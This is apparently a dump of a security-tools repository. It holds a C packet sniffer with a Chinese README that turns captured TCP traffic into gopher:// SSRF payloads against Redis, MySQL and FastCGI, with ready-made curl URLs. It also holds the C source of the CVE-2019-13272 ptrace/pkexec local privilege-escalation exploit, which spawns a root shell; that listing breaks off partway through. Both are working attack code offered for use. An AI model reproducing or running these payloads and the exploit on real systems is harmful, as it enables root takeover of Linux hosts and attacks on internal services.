├── common-gopher-tcp-stream ├── .gitignore ├── Makefile ├── README.md ├── common.c ├── common.h ├── config.h ├── parse.c ├── parse.h └── sniffer.c ├── linux-kernel-exploits └── CVE-2019-13272 │ ├── 2019-07-30-142152_998x416_scrot.png │ └── CVE-2019-13272.c └── redis-over-gopher ├── .gitignore ├── README.md ├── redis-over-gopher.py └── redis.cmd /common-gopher-tcp-stream/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | sniffer 3 | x 4 | -------------------------------------------------------------------------------- /common-gopher-tcp-stream/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = sniffer 2 | 3 | SRCS = $(wildcard *.c) 4 | 5 | OBJS = $(SRCS:.c=.o) 6 | 7 | INSTALLDIR = /bin/ 8 | 9 | CC = cc 10 | CFLAGS = -O2 -std=gnu99 11 | 12 | $(TARGET): $(OBJS) 13 | $(CC) $(CFLAGS) -o $@ $^ 14 | 15 | install: 16 | mv $(TARGET) $(INSTALLDIR) 17 | 18 | clean: 19 | rm -rf $(TARGET) $(OBJS) 20 | 21 | depclean: 22 | sudo rm -rf $(TARGET) $(OBJS) $(INSTALLDIR)$(TARGET) 23 | 24 | 25 | %.o:%.c 26 | $(CC) $(CFLAGS) -o $@ -c $< 27 | -------------------------------------------------------------------------------- /common-gopher-tcp-stream/README.md: -------------------------------------------------------------------------------- 1 | ### 原理 2 | gopher协议是个tcp/ip协议,通过gopher协议可以发送tcp stream,payload使用%+16进制编码,其实原理比较简单,平时自己用tcpdump或者wireshark把stream一段段复制出来就行,但是这样在使用的时候发现很容易出错,出现错误很难排查,而且对着一大段16进制特别头晕,于是就有了此工具,直接打印出可以复制粘贴的payload,此工具通过网卡流量解析出tcp stream,转换为gopher的payload 3 | 4 | ### 使用 5 | #### 测试redis e.g. 6 | 首先我们使用命令./sniffer -p6379 监听网卡,然后需要本地搭建redis服务,使用客户端去连接,并执行info命令,然后断开,打印如下payload 7 | ``` 8 | %2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a 9 | ``` 10 | 然后加上gopher协议格式gopher:/ip:port/_ + payload就是最终payload 11 | ``` 12 | curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a' 13 | ``` 14 | 15 | #### 测试mysql e.g. 16 | 首先我们使用命令./sniffer -p3306 监听网卡,然后需要本地搭建msyql服务,执行如下命令测试 17 | ``` 18 | mysql -h 127.0.0.1 -u root -e "use information_schema;show tables;" 19 | ``` 20 | 得到payload 21 | ``` 22 | %bb%00%00%01%84%a2%9f%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%07%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7e%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%05%33%31%31%34%33%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%05%33%2e%30%2e%37%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%09%31%32%37%2e%30%2e%30%2e%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%13%00%00%00%02%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%01%00%00%00%01 23 | ``` 24 | 然后加上gopher协议格式gopher:/ip:port/_ + payload就是最终payload 25 | 26 | ``` 27 | gopher:/127.0.0.1:3306/_%bb%00%00%01%84%a2%9f%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%07%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7e%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%05%33%31%30%34%32%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%05%33%2e%30%2e%37%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%09%31%32%37%2e%30%2e%30%2e%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%13%00%00%00%02%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%01%00%00%00%01 28 | ``` 29 | 30 | #### 测试fastcgi e.g. 31 | 首先我们使用./sniffer -p9000监听网卡,启动php-fpm服务监听到9000端口, 然后使用https://github.com/wuyunfeng/Python-FastCGI-Client 客户端模拟fastcgi请求,执行如下命令测试 32 | 33 | ``` 34 | python fcgi.py http://127.0.0.1:9000 /home/firebroo/test/1.php e=id 35 | ``` 36 | 37 | 我的/home/firebroo/test/1.php内容为 38 | ``` 39 | 40 | ``` 41 | 42 | 得到payload 43 | ``` 44 | %01%01%35%67%00%08%00%00%00%01%00%00%00%00%00%00%01%04%35%67%01%86%00%00%0e%01%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%34%0c%21%43%4f%4e%54%45%4e%54%5f%54%59%50%45%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0b%04%52%45%4d%4f%54%45%5f%50%4f%52%54%39%39%38%35%0b%09%53%45%52%56%45%52%5f%4e%41%4d%45%6c%6f%63%61%6c%68%6f%73%74%11%0b%47%41%54%45%57%41%59%5f%49%4e%54%45%52%46%41%43%45%46%61%73%74%43%47%49%2f%31%2e%30%0f%0e%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%70%68%70%2f%66%63%67%69%63%6c%69%65%6e%74%0b%09%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%0f%19%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%68%6f%6d%65%2f%66%69%72%65%62%72%6f%6f%2f%74%65%73%74%2f%31%2e%70%68%70%0b%00%53%43%52%49%50%54%5f%4e%41%4d%45%0e%04%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%0b%02%53%45%52%56%45%52%5f%50%4f%52%54%38%30%0f%08%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%0c%00%51%55%45%52%59%5f%53%54%52%49%4e%47%0d%19%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%68%6f%6d%65%2f%66%69%72%65%62%72%6f%6f%2f%74%65%73%74%2f%31%2e%70%68%70%0b%09%53%45%52%56%45%52%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%0b%00%52%45%51%55%45%53%54%5f%55%52%49%01%04%35%67%00%00%00%00%01%05%35%67%00%04%00%00%65%3d%69%64%01%05%35%67%00%00%00%00 45 | ``` 46 | 47 | 然后加上gopher协议格式gopher:/ip:port/_ + payload就是最终payload 48 | 49 | ``` 50 | gopher://127.0.0.1:9000/_%01%01%35%67%00%08%00%00%00%01%00%00%00%00%00%00%01%04%35%67%01%86%00%00%0e%01%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%34%0c%21%43%4f%4e%54%45%4e%54%5f%54%59%50%45%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0b%04%52%45%4d%4f%54%45%5f%50%4f%52%54%39%39%38%35%0b%09%53%45%52%56%45%52%5f%4e%41%4d%45%6c%6f%63%61%6c%68%6f%73%74%11%0b%47%41%54%45%57%41%59%5f%49%4e%54%45%52%46%41%43%45%46%61%73%74%43%47%49%2f%31%2e%30%0f%0e%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%70%68%70%2f%66%63%67%69%63%6c%69%65%6e%74%0b%09%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%0f%19%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%68%6f%6d%65%2f%66%69%72%65%62%72%6f%6f%2f%74%65%73%74%2f%31%2e%70%68%70%0b%00%53%43%52%49%50%54%5f%4e%41%4d%45%0e%04%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%0b%02%53%45%52%56%45%52%5f%50%4f%52%54%38%30%0f%08%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%0c%00%51%55%45%52%59%5f%53%54%52%49%4e%47%0d%19%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%68%6f%6d%65%2f%66%69%72%65%62%72%6f%6f%2f%74%65%73%74%2f%31%2e%70%68%70%0b%09%53%45%52%56%45%52%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%0b%00%52%45%51%55%45%53%54%5f%55%52%49%01%04%35%67%00%00%00%00%01%05%35%67%00%04%00%00%65%3d%69%64%01%05%35%67%00%00%00%00 51 | ``` 52 | 53 | 其它协议都可以支持,只要是一次性请求就行~~ 54 | -------------------------------------------------------------------------------- /common-gopher-tcp-stream/common.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | #include "common.h" 3 | 4 | void 5 | die (const char* error) { 6 | fprintf(stderr, "%s\n", error); 7 | exit(-1); 8 | } 9 | 10 | unsigned short 11 | validate_port(char *p) 12 | { 13 | int port = atoi(p); 14 | 15 | if(port <= 0 || port > 0xffff){ 16 | die("Invalid Port"); 17 | } 18 | 19 | /* return port number if its valid */ 20 | return (unsigned short)port; 21 | } 22 | 23 | char* 24 | current_time(void) 25 | { 26 | struct tm *p; 27 | time_t timep; 28 | char buf[BUFFER_SIZE]; 29 | 30 | time(&timep); 31 | p = gmtime(&timep); 32 | sprintf(buf, "%d-%d-%d %02d:%02d:%02d", 33 | 1900 + p->tm_year, 34 | 1 + p->tm_mon, 35 | p->tm_mday, 36 | p->tm_hour + 8, 37 | p->tm_min, 38 | p->tm_sec); 39 | return strdup(buf); 40 | } 41 | 42 | void 43 | long2ip (long ip, char *buf) 44 | { 45 | sprintf (buf, "%ld.%ld.%ld.%ld", 46 | ((0xFF << 24) & ip) >> 24, 47 | ((0xFF << 16) & ip) >> 16, 48 | ((0xFF << 8) & ip) >> 8, 49 | ip & 0xFF); 50 | } 51 | -------------------------------------------------------------------------------- /common-gopher-tcp-stream/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | 5 | #include 6 | 7 | void die(const char* error); 8 | 9 | unsigned short validate_port(char *p); 10 | 11 | char* current_time(void); 12 | 13 | void long2ip(long ip, char *buf); 14 | 15 | 16 | #endif /* COMMON_H */ 17 | -------------------------------------------------------------------------------- /common-gopher-tcp-stream/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #ifdef HAVE_SYS_BUFMOD_H 14 | /* 15 | * Size of a bufmod chunk to pass upstream; that appears to be the 16 | * biggest value to which you can set it, and setting it to that value 17 | * (which is bigger than what appears to be the Solaris default of 8192) 18 | * reduces the number of packet drops. 19 | */ 20 | #define CHUNKSIZE 65536 21 | 22 | /* 23 | * Size of the buffer to allocate for packet data we read; it must be 24 | * large enough to hold a chunk. 25 | */ 26 | #define PKTBUFSIZE CHUNKSIZE 27 | 28 | #else /* HAVE_SYS_BUFMOD_H */ 29 | 30 | /* 31 | * Size of the buffer to allocate for packet data we read; this is 32 | * what the value used to be - there's no particular reason why it 33 | * should be tied to MAXDLBUF, but we'll leave it as this for now. 34 | */ 35 | #define MAXDLBUF 8192 36 | #define PKTBUFSIZE (MAXDLBUF * sizeof(int)) 37 | 38 | #endif 39 | 40 | /*默认缓冲区大小*/ 41 | #define BUFFER_SIZE 4096 42 | 43 | /*redis 默认监听端口*/ 44 | #define DEA_PORT 6379 45 | 46 | 47 | #ifndef bool 48 | typedef enum { 49 | false, 50 | true, 51 | } bool; 52 | #endif 53 | 54 | struct ether_header { 55 | unsigned char ether_dhost[ETH_ALEN]; // destination eth addr 56 | unsigned char ether_shost[ETH_ALEN]; // source ether addr 57 | unsigned short ether_type; // packet type ID field 58 | } __attribute__ ((__packed__)); 59 | 60 | 61 | #endif /* CONFIG_H */ 62 | -------------------------------------------------------------------------------- /common-gopher-tcp-stream/parse.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | #include "common.h" 3 | #include "parse.h" 4 | 5 | 6 | unsigned short port = DEA_PORT; 7 | 8 | 9 | static void __parse_tcp_packet__(unsigned char* Buffer, int size, int offset); 10 | 11 | void 12 | redis_process_packet(unsigned char* buffer, int size) 13 | { 14 | int offset = 0; 15 | char * data = NULL; 16 | 17 | offset += ETH_HLEN; 18 | 19 | struct iphdr* iph = (struct iphdr*)(buffer+offset); 20 | switch (iph->protocol) { 21 | 22 | case IPPROTO_ICMP: /*ICMP Protocol*/ 23 | case IPPROTO_IGMP: /*IGMP Protocol*/ 24 | break; 25 | case IPPROTO_TCP: /*TCP Protocol*/ 26 | __parse_tcp_packet__(buffer, size, offset); 27 | break; 28 | case IPPROTO_UDP: /*UDP Protocol*/ 29 | break; 30 | default: /*Some Other Protocol like ARP etc.*/ 31 | break; 32 | } 33 | 34 | } 35 | 36 | void 37 | __parse_tcp_packet__(unsigned char* buffer, int size, int offset) 38 | { 39 | struct tcphdr *tcph; 40 | struct iphdr *iph; 41 | unsigned short iphdrlen; 42 | struct MsgHeader *msgh; 43 | char *data = NULL; 44 | 45 | iph = (struct iphdr*)(buffer+offset); 46 | iphdrlen = iph->ihl*4; 47 | offset += iphdrlen; 48 | tcph = (struct tcphdr*)(buffer + offset); 49 | unsigned short s_port = ntohs(tcph->source); 50 | unsigned short d_port = ntohs(tcph->dest); 51 | 52 | offset += tcph->doff*4; 53 | if (size == offset) { /*it's a TCP packet*/ 54 | return; 55 | } 56 | 57 | if (s_port == port) { 58 | return; 59 | } 60 | for (int i = offset; i < size; i++) { 61 | printf("%%%02x", buffer[i]); 62 | } 63 | fflush(stdout); 64 | 65 | } 66 | 67 | -------------------------------------------------------------------------------- /common-gopher-tcp-stream/parse.h: -------------------------------------------------------------------------------- 1 | #ifndef PARSE_H 2 | #define PARSE_H 3 | 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | extern unsigned short port; 12 | 13 | void redis_process_packet(unsigned char* buffer, int size); 14 | 15 | 16 | #endif /* PARSE_H */ 17 | -------------------------------------------------------------------------------- /common-gopher-tcp-stream/sniffer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "config.h" 6 | #include "parse.h" 7 | #include "common.h" 8 | 9 | 10 | int 11 | check_argv(int argc, char *argv[]) 12 | { 13 | int opt; 14 | 15 | if(argc > 2) { 16 | printf("Usage: ./sniffer [-p port]\n"); 17 | return 0; 18 | } 19 | while((opt = getopt(argc, argv, "p:")) != -1) { 20 | switch(opt) { 21 | 22 | case 'p': 23 | port = validate_port(optarg); 24 | break; 25 | default: 26 | printf("Usage: ./sniffer [-p port]\n"); 27 | return 0; 28 | } 29 | } 30 | return 1; 31 | } 32 | 33 | void 34 | filter_port(int sock_raw, int port) 35 | { 36 | struct sock_filter bpf_code[] = { 37 | { 0x28, 0, 0, 0x0000000c }, 38 | { 0x15, 0, 6, 0x000086dd }, 39 | { 0x30, 0, 0, 0x00000014 }, 40 | { 0x15, 0, 15, 0x00000006 }, 41 | { 0x28, 0, 0, 0x00000036 }, 42 | { 0x15, 12, 0, port }, 43 | { 0x28, 0, 0, 0x00000038 }, 44 | { 0x15, 10, 11, port }, 45 | { 0x15, 0, 10, 0x00000800 }, 46 | { 0x30, 0, 0, 0x00000017 }, 47 | { 0x15, 0, 8, 0x00000006 }, 48 | { 0x28, 0, 0, 0x00000014 }, 49 | { 0x45, 6, 0, 0x00001fff }, 50 | { 0xb1, 0, 0, 0x0000000e }, 51 | { 0x48, 0, 0, 0x0000000e }, 52 | { 0x15, 2, 0, port }, 53 | { 0x48, 0, 0, 0x00000010 }, 54 | { 0x15, 0, 1, port }, 55 | { 0x6, 0, 0, 0x00040000 }, 56 | { 0x6, 0, 0, 0x00000000 }, 57 | }; 58 | struct sock_fprog filter; 59 | 60 | filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]); 61 | filter.filter = bpf_code; 62 | if (setsockopt(sock_raw, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) { 63 | perror("setsockopt"); 64 | close(sock_raw); 65 | exit(1); 66 | } 67 | 68 | } 69 | 70 | int 71 | main(int argc, char *argv[]) 72 | { 73 | int sock_raw; 74 | int data_size; 75 | unsigned int saddr_size; 76 | struct sockaddr saddr; 77 | unsigned char *buffer; 78 | char *data; 79 | 80 | if (!check_argv(argc, argv)) { 81 | return -1; 82 | } 83 | 84 | buffer = (unsigned char *)malloc(PKTBUFSIZE); 85 | 86 | /*接受所有的ip数据帧*/ 87 | sock_raw = socket(PF_PACKET , SOCK_RAW , htons(ETH_P_IP)); 88 | if(sock_raw < 0) { 89 | die("Socket Error"); 90 | } 91 | filter_port(sock_raw, port); 92 | 93 | saddr_size = sizeof(saddr); 94 | for(;;) { 95 | memset(buffer, '\0', BUFFER_SIZE); 96 | 97 | data_size = recvfrom(sock_raw , buffer , BUFFER_SIZE , 0 , &saddr , &saddr_size); 98 | if(data_size < 0) { 99 | die("Recvfrom error , failed to get packets"); 100 | } 101 | if(data_size > 0) { 102 | redis_process_packet(buffer, data_size); 103 | } 104 | } 105 | 106 | free(buffer); 107 | close(sock_raw); 108 | return 0; 109 | } 110 | -------------------------------------------------------------------------------- /linux-kernel-exploits/CVE-2019-13272/2019-07-30-142152_998x416_scrot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/firebroo/sec_tools/1618bb04be98fd714e02a2710bdbce5f1ee9c921/linux-kernel-exploits/CVE-2019-13272/2019-07-30-142152_998x416_scrot.png -------------------------------------------------------------------------------- /linux-kernel-exploits/CVE-2019-13272/CVE-2019-13272.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #define DEBUG 21 | 22 | #ifdef DEBUG 23 | # define dprintf printf 24 | #else 25 | # define dprintf 26 | #endif 27 | 28 | #define SAFE(expr) ({ \ 29 | typeof(expr) __res = (expr); \ 30 | if (__res == -1) { \ 31 | dprintf("[-] Error: %s\n", #expr); \ 32 | return 0; \ 33 | } \ 34 | __res; \ 35 | }) 36 | #define max(a,b) ((a)>(b) ? (a) : (b)) 37 | 38 | static const char *SHELL = "/bin/bash"; 39 | 40 | static int middle_success = 1; 41 | static int block_pipe[2]; 42 | static int self_fd = -1; 43 | static int dummy_status; 44 | static const char *helper_path; 45 | static const char *pkexec_path = "/usr/bin/pkexec"; 46 | static const char *pkaction_path = "/usr/bin/pkaction"; 47 | struct stat st; 48 | 49 | const char *helpers[1024]; 50 | 51 | const char *known_helpers[] = { 52 | "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", 53 | "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", 54 | "/usr/lib/unity-settings-daemon/usd-backlight-helper", 55 | "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", 56 | "/usr/sbin/mate-power-backlight-helper", 57 | "/usr/bin/xfpm-power-backlight-helper", 58 | "/usr/bin/lxqt-backlight_backend", 59 | "/usr/libexec/gsd-wacom-led-helper", 60 | "/usr/libexec/gsd-wacom-oled-helper", 61 | "/usr/libexec/gsd-backlight-helper", 62 | "/usr/lib/gsd-backlight-helper", 63 | "/usr/lib/gsd-wacom-led-helper", 64 | "/usr/lib/gsd-wacom-oled-helper", 65 | }; 66 | 67 | /* temporary printf; returned pointer is valid until next tprintf */ 68 | static char *tprintf(char *fmt, ...) { 69 | static char buf[10000]; 70 | va_list ap; 71 | va_start(ap, fmt); 72 | vsprintf(buf, fmt, ap); 73 | va_end(ap); 74 | return buf; 75 | } 76 | 77 | /* 78 | * fork, execute pkexec in parent, force parent to trace our child process, 79 | * execute suid executable (pkexec) in child. 80 | */ 81 | static int middle_main(void *dummy) { 82 | prctl(PR_SET_PDEATHSIG, SIGKILL); 83 | pid_t middle = getpid(); 84 | 85 | self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); 86 | 87 | pid_t child = SAFE(fork()); 88 | if (child == 0) { 89 | prctl(PR_SET_PDEATHSIG, SIGKILL); 90 | 91 | SAFE(dup2(self_fd, 42)); 92 | 93 | /* spin until our parent becomes privileged (have to be fast here) */ 94 | int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); 95 | char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); 96 | while (1) { 97 | char buf[1000]; 98 | ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); 99 | buf[buflen] = '\0'; 100 | if (strstr(buf, needle)) break; 101 | } 102 | 103 | /* 104 | * this is where the bug is triggered. 105 | * while our parent is in the middle of pkexec, we force it to become our 106 | * tracer, with pkexec's creds as ptracer_cred. 107 | */ 108 | SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); 109 | 110 | /* 111 | * now we execute a suid executable (pkexec). 112 | * Because the ptrace relationship is considered to be privileged, 113 | * this is a proper suid execution despite the attached tracer, 114 | * not a degraded one. 115 | * at the end of execve(), this process receives a SIGTRAP from ptrace. 116 | */ 117 | execl(pkexec_path, basename(pkexec_path), NULL); 118 | 119 | dprintf("[-] execl: Executing suid executable failed"); 120 | exit(EXIT_FAILURE); 121 | } 122 | 123 | SAFE(dup2(self_fd, 0)); 124 | SAFE(dup2(block_pipe[1], 1)); 125 | 126 | /* execute pkexec as current user */ 127 | struct passwd *pw = getpwuid(getuid()); 128 | if (pw == NULL) { 129 | dprintf("[-] getpwuid: Failed to retrieve username"); 130 | exit(EXIT_FAILURE); 131 | } 132 | 133 | middle_success = 1; 134 | execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, 135 | helper_path, 136 | "--help", NULL); 137 | middle_success = 0; 138 | dprintf("[-] execl: Executing pkexec failed"); 139 | exit(EXIT_FAILURE); 140 | } 141 | 142 | /* ptrace pid and wait for signal */ 143 | static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { 144 | struct user_regs_struct regs; 145 | struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; 146 | SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); 147 | SAFE(waitpid(pid, &dummy_status, 0)); 148 | SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); 149 | 150 | /* set up indirect arguments */ 151 | unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; 152 | struct injected_page { 153 | unsigned long argv[2]; 154 | unsigned long envv[1]; 155 | char arg0[8]; 156 | char path[1]; 157 | } ipage = { 158 | .argv = { scratch_area + offsetof(struct injected_page, arg0) } 159 | }; 160 | strcpy(ipage.arg0, arg0); 161 | for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { 162 | unsigned long pdata = ((unsigned long *)&ipage)[i]; 163 | SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), 164 | (void*)pdata)); 165 | } 166 | 167 | /* execveat(exec_fd, path, argv, envv, flags) */ 168 | regs.orig_rax = __NR_execveat; 169 | regs.rdi = exec_fd; 170 | regs.rsi = scratch_area + offsetof(struct injected_page, path); 171 | regs.rdx = scratch_area + offsetof(struct injected_page, argv); 172 | regs.r10 = scratch_area + offsetof(struct injected_page, envv); 173 | regs.r8 = AT_EMPTY_PATH; 174 | 175 | SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); 176 | SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); 177 | SAFE(waitpid(pid, &dummy_status, 0)); 178 | } 179 | 180 | static int middle_stage2(void) { 181 | /* our child is hanging in signal delivery from execve()'s SIGTRAP */ 182 | pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); 183 | force_exec_and_wait(child, 42, "stage3"); 184 | return 0; 185 | } 186 | 187 | // * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * 188 | 189 | static int spawn_shell(void) { 190 | SAFE(setresgid(0, 0, 0)); 191 | SAFE(setresuid(0, 0, 0)); 192 | execlp(SHELL, basename(SHELL), NULL); 193 | dprintf("[-] execlp: Executing shell %s failed", SHELL); 194 | exit(EXIT_FAILURE); 195 | } 196 | 197 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * 198 | 199 | static int check_env(void) { 200 | const char* xdg_session = getenv("XDG_SESSION_ID"); 201 | 202 | dprintf("[.] Checking environment ...\n"); 203 | 204 | if (stat(pkexec_path, &st) != 0) { 205 | dprintf("[-] Could not find pkexec executable at %s", pkexec_path); 206 | exit(EXIT_FAILURE); 207 | } 208 | if (stat(pkaction_path, &st) != 0) { 209 | dprintf("[-] Could not find pkaction executable at %s", pkaction_path); 210 | exit(EXIT_FAILURE); 211 | } 212 | if (xdg_session == NULL) { 213 | dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); 214 | return 1; 215 | } 216 | if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { 217 | dprintf("[!] Warning: Could not find active PolKit agent\n"); 218 | return 1; 219 | } 220 | if (stat("/usr/sbin/getsebool", &st) == 0) { 221 | if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { 222 | dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); 223 | return 1; 224 | } 225 | } 226 | 227 | dprintf("[~] Done, looks good\n"); 228 | 229 | return 0; 230 | } 231 | 232 | /* 233 | * Use pkaction to search PolKit policy actions for viable helper executables. 234 | * Check each action for allow_active=yes, extract the associated helper path, 235 | * and check the helper path exists. 236 | */ 237 | int find_helpers() { 238 | char cmd[1024]; 239 | snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); 240 | FILE *fp; 241 | fp = popen(cmd, "r"); 242 | if (fp == NULL) { 243 | dprintf("[-] Failed to run: %s\n", cmd); 244 | exit(EXIT_FAILURE); 245 | } 246 | 247 | char line[1024]; 248 | char buffer[2048]; 249 | int helper_index = 0; 250 | int useful_action = 0; 251 | static const char *needle = "org.freedesktop.policykit.exec.path -> "; 252 | int needle_length = strlen(needle); 253 | 254 | while (fgets(line, sizeof(line)-1, fp) != NULL) { 255 | /* check the action uses allow_active=yes*/ 256 | if (strstr(line, "implicit active:")) { 257 | if (strstr(line, "yes")) { 258 | useful_action = 1; 259 | } 260 | continue; 261 | } 262 | 263 | if (useful_action == 0) 264 | continue; 265 | useful_action = 0; 266 | 267 | /* extract the helper path */ 268 | int length = strlen(line); 269 | char* found = memmem(&line[0], length, needle, needle_length); 270 | if (found == NULL) 271 | continue; 272 | 273 | memset(buffer, 0, sizeof(buffer)); 274 | for (int i = 0; found[needle_length + i] != '\n'; i++) { 275 | if (i >= sizeof(buffer)-1) 276 | continue; 277 | buffer[i] = found[needle_length + i]; 278 | } 279 | 280 | if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || 281 | strstr(&buffer[0], "/cpugovctl") != 0 || 282 | strstr(&buffer[0], "/package-system-locked") != 0 || 283 | strstr(&buffer[0], "/cddistupgrader") != 0) { 284 | dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); 285 | continue; 286 | } 287 | 288 | /* check the path exists */ 289 | if (stat(&buffer[0], &st) != 0) 290 | continue; 291 | 292 | helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); 293 | helper_index++; 294 | 295 | if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) 296 | break; 297 | } 298 | 299 | pclose(fp); 300 | return 0; 301 | } 302 | 303 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * 304 | 305 | int ptrace_traceme_root() { 306 | dprintf("[.] Using helper: %s\n", helper_path); 307 | 308 | /* 309 | * set up a pipe such that the next write to it will block: packet mode, 310 | * limited to one packet 311 | */ 312 | SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 313 | SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 314 | char dummy = 0; 315 | SAFE(write(block_pipe[1], &dummy, 1)); 316 | 317 | /* spawn pkexec in a child, and continue here once our child is in execve() */ 318 | dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); 319 | static char middle_stack[1024*1024]; 320 | pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 321 | 